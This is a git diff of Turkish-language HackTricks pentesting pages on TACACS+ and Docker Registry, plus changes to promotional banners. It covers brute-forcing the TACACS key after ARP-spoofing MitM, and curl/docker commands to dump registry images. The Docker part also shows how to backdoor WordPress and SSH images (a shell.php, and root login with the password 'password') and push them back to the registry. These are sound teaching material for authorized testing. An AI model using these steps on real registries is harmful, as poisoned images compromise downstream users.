* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 49 - TACACS+ Pentesting
|
||||
# 49 - Pentesting TACACS+
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -24,33 +25,33 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Terminal Access Controller Access Control System (TACACS)** protokolü, routerlara veya Network Access Server (NAS)lara erişmeye çalışan kullanıcıları merkezi olarak doğrulamak için kullanılır. Güncellenmiş sürümü olan **TACACS+**, hizmetleri kimlik doğrulama, yetkilendirme ve hesaplama (AAA) olarak ayırır.
|
||||
**Terminal Erişim Kontrol Cihazı Erişim Kontrol Sistemi (TACACS)** protokolü, yönlendiricilere veya Ağ Erişim Sunucularına (NAS) erişmeye çalışan kullanıcıları merkezi olarak doğrulamak için kullanılır. Geliştirilmiş versiyonu **TACACS+**, hizmetleri kimlik doğrulama, yetkilendirme ve muhasebe (AAA) olarak ayırır.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
```
|
||||
**Varsayılan port:** 49
|
||||
|
||||
## Kimlik Doğrulama Anahtarını İzleme
|
||||
## Kimlik Doğrulama Anahtarını Yakalama
|
||||
|
||||
Eğer istemci ve TACACS sunucusu iletişimi bir saldırgan tarafından ele geçirilirse, **şifrelenmiş kimlik doğrulama anahtarı izlenebilir**. Saldırgan daha sonra anahtara karşı **loglarda tespit edilmeden yerel bir kaba kuvvet saldırısı deneyebilir**. Anahtarı kaba kuvvet saldırısıyla başarıyla çözerse, saldırgan ağ ekipmanlarına erişim elde eder ve Wireshark gibi araçlar kullanarak trafiği şifreleyebilir.
|
||||
Eğer istemci ve TACACS sunucusu arasındaki iletişim bir saldırgan tarafından yakalanırsa, **şifrelenmiş kimlik doğrulama anahtarı yakalanabilir**. Saldırgan, **anahtara karşı yerel bir brute-force saldırısı gerçekleştirmeyi deneyebilir ve bu saldırı günlüklerde tespit edilmeden yapılabilir**. Anahtarı brute-force ile kırmayı başarırsa, saldırgan ağ ekipmanına erişim kazanır ve Wireshark gibi araçlar kullanarak trafiği şifreleyebilir.
|
||||
|
||||
### MitM Saldırısı Gerçekleştirme
|
||||
|
||||
Bir **ARP zehirleme saldırısı, Orta Adam (MitM) saldırısı gerçekleştirmek için kullanılabilir**.
|
||||
**ARP sahtekarlığı saldırısı, Man-in-the-Middle (MitM) saldırısı gerçekleştirmek için kullanılabilir**.
|
||||
|
||||
### Anahtarı Kaba Kuvvet Saldırısıyla Çözmek
|
||||
### Anahtarı Brute-Force ile Kırma
|
||||
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) anahtarın kaba kuvvet saldırısıyla çözülmesi için kullanılabilir:
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) anahtarı brute force yapmak için kullanılabilir:
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
Eğer anahtar başarıyla **kaba kuvvet saldırısıyla** (**genellikle MD5 şifreli biçimde**) kırılırsa, **cihaza erişebilir ve TACACS ile şifrelenmiş trafiği şifreleyebiliriz.**
|
||||
Eğer anahtar başarıyla **bruteforced** (**genellikle MD5 şifreli formatta**) olursa, **cihazlara erişebilir ve TACACS şifreli trafiği çözebiliriz.**
|
||||
|
||||
### Trafik Şifresinin Çözülmesi
|
||||
Anahtar başarılı bir şekilde kırıldığında, bir sonraki adım **TACACS ile şifrelenmiş trafiği çözmektir**. Wireshark, şifreli TACACS trafiğiyle başa çıkabilir, eğer anahtar sağlanmışsa. Çözümlenmiş trafiği analiz ederek, **kullanılan banner ve yönetici kullanıcısının kullanıcı adı gibi bilgiler** elde edilebilir.
|
||||
### Trafiği Çözme
|
||||
Anahtar başarıyla kırıldıktan sonra, bir sonraki adım **TACACS şifreli trafiği çözmektir**. Anahtar sağlandığında Wireshark, şifreli TACACS trafiğini işleyebilir. Çözülmüş trafiği analiz ederek, **kullanılan banner ve admin kullanıcısının kullanıcı adı** gibi bilgilere ulaşılabilir.
|
||||
|
||||
Elde edilen kimlik bilgileri kullanılarak ağ ekipmanının kontrol paneline erişim sağlayarak, saldırgan ağ üzerinde kontrol sağlayabilir. Bu eylemlerin sadece eğitim amaçlı olduğunu ve uygun izin olmadan kullanılmaması gerektiğini unutmamak önemlidir.
|
||||
Elde edilen kimlik bilgileri kullanılarak ağ ekipmanının kontrol paneline erişim sağlandığında, saldırgan ağ üzerinde kontrol kurabilir. Bu eylemlerin yalnızca eğitim amaçlı olduğunu ve uygun yetkilendirme olmadan kullanılmaması gerektiğini belirtmek önemlidir.
|
||||
|
||||
## Referanslar
|
||||
|
||||
|
@ -62,16 +63,17 @@ Elde edilen kimlik bilgileri kullanılarak ağ ekipmanının kontrol paneline er
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,55 @@
|
|||
# 5000 - Pentesting Docker Registry
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* takip edin.\*\*
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Adı konmuş ve birden fazla sürümle gelebilen Docker görüntüleri için bir **Docker registry** adı verilen bir depolama ve dağıtım sistemi mevcuttur. Bu görüntüler, her biri belirli bir görüntünün çeşitli sürümlerini depolayan Docker depoları içinde **Docker depolarında** düzenlenmiştir. Sağlanan işlevsellik, kullanıcının gerekli izinlere sahip olduğunu varsayarak görüntülerin yerel olarak indirilmesine veya kaydedilmesine olanak tanır.
|
||||
Docker görüntüleri için adlandırılmış ve birden fazla versiyona sahip olabilen bir depolama ve dağıtım sistemi olarak bilinen **Docker registry** mevcuttur. Bu görüntüler, registry içinde **Docker repository**'lerinde düzenlenir ve her repository belirli bir görüntünün çeşitli versiyonlarını saklar. Sağlanan işlevsellik, görüntülerin yerel olarak indirilmesine veya registry'ye yüklenmesine olanak tanır, kullanıcı gerekli izinlere sahip olduğu sürece.
|
||||
|
||||
**DockerHub**, Docker için varsayılan genel kayıt defteri olarak hizmet verir, ancak kullanıcılar ayrıca açık kaynaklı Docker kayıt defteri / dağıtımının yerinde bir sürümünü çalıştırma veya ticari olarak desteklenen **Docker Trusted Registry**'yi tercih edebilirler. Ayrıca, çeşitli diğer genel kayıt defterleri çevrimiçi bulunabilir.
|
||||
|
||||
Yerinde bir kayıttan bir görüntü indirmek için aşağıdaki komut kullanılır:
|
||||
**DockerHub**, Docker için varsayılan kamu registry'si olarak hizmet vermektedir, ancak kullanıcılar açık kaynaklı Docker registry/dağıtımının yerinde bir versiyonunu işletme veya ticari olarak desteklenen **Docker Trusted Registry**'yi tercih etme seçeneğine de sahiptir. Ayrıca, çevrimiçi olarak çeşitli diğer kamu registry'leri de bulunmaktadır.
|
||||
|
||||
Yerinde bir registry'den bir görüntü indirmek için aşağıdaki komut kullanılır:
|
||||
```bash
|
||||
docker pull my-registry:9000/foo/bar:2.1
|
||||
```
|
||||
|
||||
Bu komut, `my-registry` alanındaki `9000` portundaki yerinde kayıt defterinden `foo/bar` görüntüsünün `2.1` sürümünü alır. Aynı görüntüyü DockerHub'dan indirmek için, özellikle `2.1` en son sürüm ise, komut şu şekilde basitleşir:
|
||||
|
||||
Bu komut, `my-registry` alanındaki `9000` portunda bulunan yerel kayıt defterinden `foo/bar` görüntüsünün `2.1` sürümünü alır. Tersine, aynı görüntüyü DockerHub'dan indirmek için, özellikle `2.1` en son sürümse, komut şu şekilde basitleşir:
|
||||
```bash
|
||||
docker pull foo/bar
|
||||
```
|
||||
|
||||
**Varsayılan port:** 5000
|
||||
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
5000/tcp open http Docker Registry (API: 2.0)
|
||||
```
|
||||
## Keşif
|
||||
|
||||
## Keşfetme
|
||||
|
||||
Bu servisin çalıştığını keşfetmenin en kolay yolu, nmap çıktısında bulmaktır. Her durumda, HTTP tabanlı bir servis olduğu için HTTP proxy'lerin arkasında olabileceğini ve nmap'in bunu tespit edemeyeceğini unutmayın.\
|
||||
Bu hizmetin çalıştığını keşfetmenin en kolay yolu, nmap çıktısında görmek. Yine de, bu bir HTTP tabanlı hizmet olduğu için HTTP proxy'lerinin arkasında olabilir ve nmap bunu tespit edemez.\
|
||||
Bazı parmak izleri:
|
||||
|
||||
* `/` adresine erişirseniz yanıtta hiçbir şey dönmeyecektir
|
||||
* `/v2/` adresine erişirseniz `{}` dönecektir
|
||||
* `/v2/_catalog` adresine erişirseniz aşağıdakileri elde edebilirsiniz:
|
||||
* Eğer `/` erişirseniz, yanıt olarak hiçbir şey döndürülmez
|
||||
* Eğer `/v2/` erişirseniz, o zaman `{}` döndürülür
|
||||
* Eğer `/v2/_catalog` erişirseniz, şunları elde edebilirsiniz:
|
||||
* `{"repositories":["alpine","ubuntu"]}`
|
||||
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
||||
|
||||
## Numaralandırma
|
||||
## Sayım
|
||||
|
||||
### HTTP/HTTPS
|
||||
|
||||
Docker registry'nin **HTTP** veya **HTTPS** kullanacak şekilde yapılandırılmış olabileceğini unutmayın. Bu yüzden yapmanız gereken ilk şey, **hangisinin** yapılandırıldığını **bulmaktır**:
|
||||
|
||||
Docker registry **HTTP** veya **HTTPS** kullanacak şekilde yapılandırılabilir. Bu nedenle, yapmanız gereken ilk şey **hangisinin** yapılandırıldığını **bulmak** olabilir:
|
||||
```bash
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
#If HTTPS
|
||||
|
@ -66,11 +60,9 @@ Warning: <FILE>" to save to a file.
|
|||
#If HTTP
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
### Authentication
|
||||
|
||||
### Kimlik Doğrulama
|
||||
|
||||
Docker kayıt defteri ayrıca **kimlik doğrulaması** gerektirecek şekilde yapılandırılabilir:
|
||||
|
||||
Docker registry ayrıca **authentication** gerektirecek şekilde yapılandırılabilir:
|
||||
```bash
|
||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||
#If Authentication required
|
||||
|
@ -78,18 +70,14 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
|||
#If no authentication required
|
||||
{"repositories":["alpine","ubuntu"]}
|
||||
```
|
||||
|
||||
Eğer Docker Registry kimlik doğrulaması gerektiriyorsa, [**bunu kullanarak brute force denemesi yapabilirsiniz**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||
**Geçerli kimlik bilgilerini bulursanız**, kayıt defterini numaralandırmak için bunları kullanmanız gerekecek, `curl` içinde bunları şu şekilde kullanabilirsiniz:
|
||||
|
||||
Eğer Docker Registry kimlik doğrulaması gerektiriyorsa, bunu [**şu şekilde brute force etmeyi deneyebilirsiniz**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
||||
**Geçerli kimlik bilgileri bulursanız, bunları kullanmanız gerekecek** registry'yi listelemek için, `curl` ile bunları şu şekilde kullanabilirsiniz:
|
||||
```bash
|
||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||
```
|
||||
### Enumeration using DockerRegistryGrabber
|
||||
|
||||
### DockerRegistryGrabber kullanarak Numaralandırma
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber), docker deposunu numaralandırmak / dökümlemek için kullanılan bir Python aracıdır (temel kimlik doğrulaması olmadan veya ile).
|
||||
|
||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) bir docker kayıt defterini (temel kimlik doğrulaması ile veya olmadan) listelemek/dökmek için kullanılan bir python aracıdır.
|
||||
```bash
|
||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||
|
||||
|
@ -163,11 +151,9 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||
```
|
||||
### Enumeration using curl
|
||||
|
||||
### curl kullanarak Numaralandırma
|
||||
|
||||
Docker kayıt defterine **erişim sağladıktan sonra** kullanabileceğiniz bazı komutlar:
|
||||
|
||||
Bir kez **docker registry'ye erişim sağladıysanız**, bunu listelemek için kullanabileceğiniz bazı komutlar:
|
||||
```bash
|
||||
#List repositories
|
||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||
|
@ -230,13 +216,11 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
|||
#Inspect the insides of each blob
|
||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
İndirip açtığınızda blobs dosyaları ve klasörleri mevcut dizinde görünecektir. **Tüm blobs'ları indirip aynı klasöre açarsanız, önceki açılmış blobs'ların değerlerini üzerine yazacaklardır**, bu yüzden dikkatli olun. Her bir blob'u ayrı bir klasöre açarak her bir blob'un tam içeriğini incelemek ilginç olabilir.
|
||||
Dikkat edin ki, blob dosyalarını indirdiğinizde ve açtığınızda, mevcut dizinde dosyalar ve klasörler görünecektir. **Eğer tüm blob'ları indirip aynı klasörde açarsanız, daha önce açılmış blob'lardan değerleri üzerine yazacaktır**, bu yüzden dikkatli olun. Her bir blob'u farklı bir klasör içinde açmak, her bir blob'un tam içeriğini incelemek için ilginç olabilir.
|
||||
{% endhint %}
|
||||
|
||||
### Docker kullanarak Numaralandırma
|
||||
|
||||
### Docker kullanarak numaralandırma
|
||||
```bash
|
||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||
docker pull 10.10.10.10:5000/ubuntu
|
||||
|
@ -255,11 +239,10 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
|||
docker ps #Using a different shell
|
||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||
```
|
||||
### WordPress imajına arka kapı ekleme
|
||||
|
||||
### WordPress görüntüsüne arka kapı eklemek
|
||||
|
||||
Docker Registry'de bir wordpress görüntüsü bulduğunuz senaryoda ona arka kapı ekleyebilirsiniz.\
|
||||
**Arka kapıyı oluşturun**:
|
||||
Bir Docker Registry'nin bir wordpress imajını kaydettiği senaryoda, ona arka kapı ekleyebilirsiniz.\
|
||||
**Arka kapıyı** **oluşturun**:
|
||||
|
||||
{% code title="shell.php" %}
|
||||
```bash
|
||||
|
@ -267,62 +250,70 @@ Docker Registry'de bir wordpress görüntüsü bulduğunuz senaryoda ona arka ka
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**Dockerfile** oluşturun:
|
||||
Bir **Dockerfile** oluşturun:
|
||||
|
||||
{% code title="Dockerfile" %}
|
||||
```
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/wordpress
|
||||
COPY shell.php /app/
|
||||
RUN chmod 777 /app/shell.php
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**Yeni** görüntüyü **oluşturun**, oluşturulduğunu **kontrol edin** ve **yayınlayın**:
|
||||
|
||||
**Yeni** imajı **oluşturun**, oluşturulduğunu **kontrol edin** ve **yükleyin**:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/wordpress .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/wordpress #Push it
|
||||
```
|
||||
### SSH sunucu görüntüsüne arka kapı ekleme
|
||||
|
||||
### SSH sunucusu imajına arka kapı eklemek
|
||||
|
||||
Diyelim ki bir Docker Registry buldunuz ve içinde bir SSH imajı var ve ona arka kapı eklemek istiyorsunuz.\
|
||||
İmajı **indirin** ve **çalıştırın**:
|
||||
|
||||
Diyelim ki bir SSH görüntüsüne sahip bir Docker Registry buldunuz ve buna arka kapı eklemek istiyorsunuz.\
|
||||
**Görüntüyü indirin** ve **çalıştırın**:
|
||||
```bash
|
||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||
```
|
||||
|
||||
SSH görüntüsünden `sshd_config` dosyasını çıkarın:
|
||||
|
||||
SSH imajından `sshd_config` dosyasını çıkarın:
|
||||
```bash
|
||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||
```
|
||||
|
||||
Ve onu şu şekilde ayarlamak için değiştirin: `PermitRootLogin yes`
|
||||
Ve bunu ayarlamak için değiştirin: `PermitRootLogin yes`
|
||||
|
||||
Aşağıdaki gibi bir **Dockerfile** oluşturun:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Dockerfile" %}
|
||||
```bash
|
||||
FROM 10.10.10.10:5000/sshd-docker-cli
|
||||
COPY sshd_config /etc/ssh/
|
||||
RUN echo root:password | chpasswd
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Yeni** imajı **oluşturun**, **oluşturulduğunu** **kontrol edin** ve **yükleyin**:
|
||||
```bash
|
||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
||||
#Create
|
||||
docker images
|
||||
docker push registry:5000/sshd-docker-cli #Push it
|
||||
```
|
||||
## Referanslar
|
||||
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||
|
||||
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*Yeni\*\* görüntüyü oluşturun, oluşturulduğunu \*\*kontrol edin\*\* ve \*\*yayınlayın\*\*: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## Referanslar \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||
{% hint style="success" %}
|
||||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) **katılın veya** [**telegram grubuna**](https://t.me/peass) **katılın veya bizi Twitter'da takip edin** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
